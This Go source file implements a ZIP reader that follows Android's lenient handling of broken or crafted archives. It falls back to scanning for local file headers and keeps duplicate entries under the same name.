type zipReaderFileSubEntry struct {
offset int64
method uint16
}
// This struct mimics of Reader from archive/zip. It's purpose is to handle
// even broken archives that Android can read, but archive/zip cannot.
type ZipReader struct {
File map[string]*ZipReaderFile
// Files in the order they were found in the zip. May contain the same ZipReaderFile
// multiple times in case of broken/crafted ZIPs
FilesOrdered []*ZipReaderFile
zipFileReader io.ReadSeeker
ownedZipFile *os.File
}
// This struct mimics of File from archive/zip. The main difference is it can represent
// multiple actual entries in the ZIP file in case it has more than one with the same name.
type ZipReaderFile struct {
Name string
IsDir bool
zipFile io.ReadSeeker
internalReader io.Reader
internalCloser io.Closer
zipEntry *zip.File
entries []zipReaderFileSubEntry
curEntry int
}
// Opens the file(s) for reading. After calling open, you should iterate through all possible entries that
// go by that Filename with for f.Next() { f.Read()... }
func (zr *ZipReaderFile) Open() error {
if zr.internalReader != nil {
return errors.New("File is already opened.")
}
if zr.zipEntry != nil {
var err error
zr.curEntry = 0
rc, err := zr.zipEntry.Open()
if err != nil {
return err
}
zr.internalReader = rc
zr.internalCloser = rc
} else {
zr.curEntry = -1
}
return nil
}
// Reads data from current opened file. Returns io.EOF at the end of current file, but another file entry might exist.
// Use Next() to check for that.
func (zr *ZipReaderFile) Read(p []byte) (int, error) {
if zr.internalReader == nil {
if zr.curEntry == -1 && !zr.Next() {
return 0, io.ErrUnexpectedEOF
}
if zr.curEntry >= len(zr.entries) {
return 0, io.ErrUnexpectedEOF
}
_, err := zr.zipFile.Seek(zr.entries[zr.curEntry].offset, 0)
if err != nil {
return 0, err
}
switch zr.entries[zr.curEntry].method {
case zip.Store:
zr.internalReader = zr.zipFile
default: // case zip.Deflate: // Android treats everything but 0 as deflate
rc := flate.NewReader(zr.zipFile)
zr.internalReader = rc
zr.internalCloser = rc
}
}
return zr.internalReader.Read(p)
}
// Moves this reader to the next file represented under it's Name. Returns false if there are no more to read.
func (zr *ZipReaderFile) Next() bool {
if len(zr.entries) == 0 && zr.internalReader != nil {
zr.curEntry++
return zr.curEntry == 1
}
zr.Close()
if zr.curEntry+1 >= len(zr.entries) {
return false
}
zr.curEntry++
return true
}
// Closes this reader and all opened files.
func (zr *ZipReaderFile) Close() error {
if zr.internalReader != nil {
if zr.internalCloser != nil {
zr.internalCloser.Close()
zr.internalCloser = nil
}
zr.internalReader = nil
}
return nil
}
// Get the file header from ZIP (can return nil with broken archives)
func (zr *ZipReaderFile) ZipHeader() *zip.FileHeader {
if zr.zipEntry != nil {
return &zr.zipEntry.FileHeader
}
return nil
}
// Closes this ZIP archive and all it's ZipReaderFile entries.
func (zr *ZipReader) Close() error {
if zr.zipFileReader == nil {
return nil
}
for _, zf := range zr.File {
zf.Close()
}
var err error
if zr.ownedZipFile != nil {
err = zr.ownedZipFile.Close()
zr.ownedZipFile = nil
}
zr.zipFileReader = nil
return err
}
type readAtWrapper struct {
io.ReadSeeker
}
func (wr *readAtWrapper) ReadAt(b []byte, off int64) (n int, err error) {
if readerAt, ok := wr.ReadSeeker.(io.ReaderAt); ok {
return readerAt.ReadAt(b, off)
}
oldpos, err := wr.Seek(off, io.SeekCurrent)
if err != nil {
return
}
if _, err = wr.Seek(off, io.SeekStart); err != nil {
return
}
if n, err = wr.Read(b); err != nil {
return
}
_, err = wr.Seek(oldpos, io.SeekStart)
return
}
// Attempts to open ZIP for reading.
func OpenZip(path string) (zr *ZipReader, err error) {
f, err := os.Open(path)
if err != nil {
return nil, err
}
zr, err = OpenZipReader(f)
if err != nil {
f.Close()
} else {
zr.ownedZipFile = f
}
return
}
// Attempts to open ZIP for reading. Might Seek the reader to arbitrary
// positions.
func OpenZipReader(zipReader io.ReadSeeker) (zr *ZipReader, err error) {
zr = &ZipReader{
File: make(map[string]*ZipReaderFile),
zipFileReader: zipReader,
}
f := &readAtWrapper{zipReader}
var zipinfo *zip.Reader
zipinfo, err = tryReadZip(f)
if err == nil {
for i, zf := range zipinfo.File {
// Android treats anything but 0 as deflate.
if zf.Method != zip.Store && zf.Method != zip.Deflate {
zipinfo.File[i].Method = zip.Deflate
}
cl := path.Clean(zf.Name)
if zr.File[cl] == nil {
zf := &ZipReaderFile{
Name: cl,
IsDir: zf.FileInfo().IsDir(),
zipFile: f,
zipEntry: zf,
}
zr.File[cl] = zf
zr.FilesOrdered = append(zr.FilesOrdered, zf)
}
}
return
}
if _, err = f.Seek(0, io.SeekStart); err != nil {
return
}
var off int64
for {
off, err = findNextFileHeader(f)
if off == -1 || err != nil {
return
}
var nameLen, extraLen, method uint16
if _, err = f.Seek(off+8, 0); err != nil {
return
}
if err = binary.Read(f, binary.LittleEndian, &method); err != nil {
return
}
if _, err = f.Seek(off+26, 0); err != nil {
return
}
if err = binary.Read(f, binary.LittleEndian, &nameLen); err != nil {
return
}
if err = binary.Read(f, binary.LittleEndian, &extraLen); err != nil {
return
}
buf := make([]byte, nameLen)
if _, err = f.ReadAt(buf, off+30); err != nil {
return
}
fileName := path.Clean(string(buf))
fileOffset := off + 30 + int64(nameLen) + int64(extraLen)
zrf := zr.File[fileName]
if zrf == nil {
zrf = &ZipReaderFile{
Name: fileName,
zipFile: f,
curEntry: -1,
}
zr.File[fileName] = zrf
}
zr.FilesOrdered = append(zr.FilesOrdered, zrf)
zrf.entries = append([]zipReaderFileSubEntry{zipReaderFileSubEntry{
offset: fileOffset,
method: method,
}}, zrf.entries...)
if _, err = f.Seek(off+4, 0); err != nil {
return
}
}
}
func tryReadZip(f *readAtWrapper) (r *zip.Reader, err error) {
defer func() {
if pn := recover(); pn != nil {
err = fmt.Errorf("%v", pn)
r = nil
}
}()
size, err := f.Seek(0, io.SeekEnd)
if err != nil {
return
}
r, err = zip.NewReader(f, size)
return
}
func findNextFileHeader(f io.ReadSeeker) (offset int64, err error) {
start, err := f.Seek(0, 1)
if err != nil {
return -1, err
}
defer func() {
if _, serr := f.Seek(start, 0); serr != nil && err == nil {
err = serr
}
}()
buf := make([]byte, 64*1024)
toCmp := []byte{0x50, 0x4B, 0x03, 0x04}
ok := 0
offset = start
for {
n, err := f.Read(buf)
if err != nil && err != io.EOF {
return -1, err
}
if n == 0 {
return -1, nil
}
for i := 0; i < n; i++ {
if buf[i] == toCmp[ok] {
ok++
if ok == len(toCmp) {
offset += int64(i) - int64(len(toCmp)-1)
return offset, nil
}
} else {
ok = 0
}
}
offset += int64(n)
}
}

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